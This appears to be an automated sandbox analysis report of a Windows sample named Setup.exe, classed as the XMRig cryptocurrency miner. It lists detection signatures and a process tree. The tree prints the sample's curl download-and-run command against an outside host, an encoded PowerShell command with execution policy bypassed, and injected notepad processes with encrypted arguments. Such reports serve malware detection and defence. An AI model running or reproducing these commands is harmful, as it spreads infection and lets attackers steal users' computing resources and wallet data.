Analysis
- max time kernel
299s - max time network
300s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
14/11/2026, 01:58
General
- Target Setup.exe
- Size 703KB
- Sample261114-cd8ncsby2x
- SHA256 6f4ccc1718eddb12fab554f0c19e908f0486fd734bb02c706534ad92860d5df2
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 2 IoCs
- XMRig Miner payload 29 IoCs
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 3 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Suspicious use of SetThreadContext 2 IoCs
- Drops file in Program Files directory 1 IoCs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"2⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SYSTEM32\curl.execurl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e59db140.exe" "https://cartkee.cc/vlc_play.exe"2⤵
- Downloads MZ/PE file
-
-
C:\Users\Admin\AppData\Local\Temp\0e59db140.exe"C:\Users\Admin\AppData\Local\Temp\0e59db140.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAD0AWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAoACQAaQBuAHAAdQB0AHwATwB1AHQALQBTAHQAcgBpAG4AZwApACkAOwAmACQAcwAgAC4AXABkAGUAZgAuAHAAcwAxACAAQwA6AFwA3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Adobe\ARM\Services\Runtime\winupdater4837_4281.exe"C:\Users\Admin\AppData\Roaming\Adobe\ARM\Services\Runtime\winupdater4837_4281.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
-
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615c5b0324721538013a0b3d295d5a2b5c553c01002a0533167512202829330e2f5f2425363b241a1117592422092a17041b19532e193b040d001d0c2a143d0a5b282a352b1c02225e1b147214182f3d76093f1c14721054285677342b5d180f4440194e70575c584e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a195456714440084e331c42592⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615c5b0324721538013a0b3d295d5a2b5c553c01002a0533167512202829330e2f5f2425363b241a1117592422092a17041b19532e193b040d001d0c2a143d0a5b282a352b1c02225e1b147214182f3d76093f1c14721054285677342b5d180f4440194e70575c584e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a195456714440084e331c42592⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Roaming\Adobe\ARM\Services\0e59db140.exeC:\Users\Admin\AppData\Roaming\Adobe\ARM\Services\0e59db140.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
0e59db140.exe
winupdater4837_4281.exe
memory/1456-58-0x00007FF73CCA0000-0x00007FF73D498000-memory.dmp
memory/3168-36-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-41-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-4-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-2-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-0-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-8-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-24-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-23-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-26-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-18-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-33-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-31-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-30-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-28-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-27-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-11-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-25-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-22-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-21-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-20-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-19-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-17-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-16-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-15-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-14-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-12-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-10-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-9-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-34-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-35-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-3-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-7-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-5-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-6-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-39-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3168-47-0x0000000003930000-0x0000000003931000-memory.dmp
memory/3168-1-0x0000000005FD0000-0x000000000607C000-memory.dmp
memory/3256-55-0x000001DDF67B0000-0x000001DDF67D0000-memory.dmp
memory/3256-56-0x00007FF600410000-0x00007FF600C6A000-memory.dmp
memory/4444-89-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-101-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-61-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-63-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-65-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-67-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-69-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-71-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-73-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-75-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-77-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-107-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-59-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-83-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-93-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-87-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-81-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-91-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-85-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-95-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-97-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-99-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-79-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-103-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4444-105-0x00007FF68D520000-0x00007FF68DD7A000-memory.dmp
memory/4984-42-0x000001DEBCC50000-0x000001DEBCC72000-memory.dmp